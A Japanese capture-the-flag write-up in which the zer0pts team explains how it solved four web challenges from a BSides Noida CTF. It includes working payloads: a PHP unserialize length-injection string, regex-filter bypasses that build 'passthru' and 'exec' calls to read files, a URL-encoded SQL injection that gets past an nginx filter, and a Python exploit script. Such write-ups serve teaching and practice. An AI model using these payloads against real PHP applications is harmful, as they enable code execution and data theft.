8/7 - 8/8という日程で開催された。zer0ptsで参加して1位。
- [Web 462] wowooo (37 solves)
- [Web 465] freepoint (34 solves)
- [Web 477] Baby Web Revenge (24 solves)
- [Web 493] Calculate (8 solves)
[Web 462] wowooo (37 solves)
ユーザ名を与えると事前に用意された文字列に展開され、unserialize
される。その返り値の2番目の要素が V13tN4m_number_one
であればフラグが得られる。
<?php include 'flag.php'; function filter($string){ $filter = '/flag/i'; return preg_replace($filter,'flagcc',$string); } $username=$_GET['name']; $pass="V13tN4m_number_one"; $pass="Fl4g_in_V13tN4m"; $ser='a:2:{i:0;s:'.strlen($username).":\"$username\";i:1;s:".strlen($pass).":\"$pass\";}"; $authen = unserialize(filter($ser)); if($authen[1]==="V13tN4m_number_one "){ echo $flag; } if (!isset($_GET['debug'])) { echo("PLSSS DONT HACK ME!!!!!!").PHP_EOL; } else { highlight_file( __FILE__); } ?> <!-- debug -->
なぜかユーザ名に含まれる flag
が flagcc
に置換されているが、この置換はユーザ名をテンプレートの文字列に展開した後に行われている。このために展開時の strlen($username)
と置換後のユーザ名の文字数とが違った値になってしまう。
例えば、ユーザ名が flagflagflagflag
であった場合に最終的に unserialize
される文字列は a:2:{i:0;s:32:"flagccflagccflagccflagccflagccflagccflagccflagcc";i:1;s:15:"Fl4g_in_V13tN4m";}
になる。PHPの serialize
は文字列を s:(文字数):"(文字列)";
のようにシリアライズするが、この場合だと s:48:"…";
であるべきところが s:32:"…";
になってしまっており、正しく unserialize
できない文字列になっている。
これをうまく使えば、unserialize
されると2番目の要素が V13tN4m_number_one
である配列になるような文字列を作ることもできる。flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}aaaaaaaaaaaaaa
をユーザ名として投げるとフラグが得られた。
BSNoida{3z_ch4all_46481684185_!!!!!!@!}
[Web 465] freepoint (34 solves)
/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i
という正規表現に引っかからないようなPHPコードを作る問題。
implode('',[chr(97),chr(98),chr(99)])
みたいな感じでフィルターを回避しつつ任意の文字列が作れるので、('passthru')('ls -la')
みたいな感じでコマンドを実行する。
<?php function encode($s) { $res = "implode('',["; $l = strlen($s); for ($i = 0; $i < $l; $i++) { $res .= 'chr(' . ord($s[$i]) . '),'; } $res .= '])'; return $res; } class BSides { function __construct($payload) { $this->note = $payload; $this->name = 'admin'; $this->option = 'getFlag'; } } echo 'http://ctf.freepoint.bsidesnoida.in/?ctf=' . urlencode(serialize(new Bsides( '(' . encode('passthru') . ')(' . encode('cat /home/*') . ')' )));
BSNoida{Fre3_fl4g_f04_y0u_@@55361988!!!}
[Web 477] Baby Web Revenge (24 solves)
以下のような感じでSQLiがある。
$channel_name = $_GET['chall_id'];
$sql = "SELECT * FROM CTF WHERE id={$channel_name}";
$results = $db->query($sql);
のだけれども、nginx側で以下のように chall_id
というGETパラメータにフィルターがかけられてしまっている。
if ( $arg_chall_id ~ [A-Za-z_.%]){ return 500; }
PHPはGETパラメータの名前に .
が含まれていた場合には自動的にそれを _
に変換するので、これを使えばフィルターを回避できる。
?chall.id=1/**/union/**/select/**/sql,2,3,4,5,6/**/from/**/sqlite_master
で therealflags
テーブルの存在がわかるので、これを読み出すとフラグが得られる。
BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4_fr0m_4n_1nt3nd3d_s01ut10nxD}
[Web 493] Calculate (8 solves)
/[a-zA-BD-Z!@#%^&*:'\"|`~\\\\]|3|5|6|9/
という正規表現に引っかからず、また110文字以内の文字列であれば eval
されるという問題。freepointがさらに厳しくなったような感じ。
まず正規表現について、これに引っかからないASCII内の文字は $()+,-./012478;<=>?C[]_{}
だけ。UIUCTFのphpfuck_fixedと比べると優しく見えるが、110文字という文字数制限は厳しい。
nyankoさんが文字列の入った変数はインクリメントでき、これを使って C
から様々な文字が作れることを発見していた。例えば、$s
という変数に ABC
という文字列が入っていた場合に $s
をインクリメントすると、$s
は ABD
という文字列に変わる。
また、配列と文字列を文字列結合演算子で結合させようとすると、配列の方は Array
という文字列に変換される。これを使えば ([].C)[1]
から r
という文字が作れる。
これらを組み合わせて、nyankoさんが $C=C.C;$C++;$C++;$C++;$C++;$C++;$C=$C.([].[])[2]
というコードで CHr
という文字列が作れることを見つけていた。
ただ、関数の呼び出しのために chr
でいちいち関数名や引数になる文字列を組み立てていてはすぐに110文字を超えてしまう。この chr
で _GET
という文字列を組み立てて適当な変数(例えば $_
) に代入しておけば、可変変数という機能を使って ($$_[0])($$_[1])
という ($_GET[0])($_GET[1])
相当のコードを作ることができる。これを使えば、呼び出したい関数があればGETパラメータにその名前と引数を入れるだけで呼び出せる。
import requests payload = '$C=C.C,$C++,$C++,$C++,$C++,$C++,$C.=([].C)[2],$_=(_.$C(72-1).$C(70-1).$C(84)),($$_[0])($$_[1])' r = requests.post('http://ctf.calculate.bsidesnoida.in/', data={ 'VietNam': payload }, params={ '0': 'exec', '1': 'cat /home/*' }) print(r.text)
BSNoida{w0w_gr3at_Th4nk_y0u_f0r_j0in1ng_CTF_!!!!!!}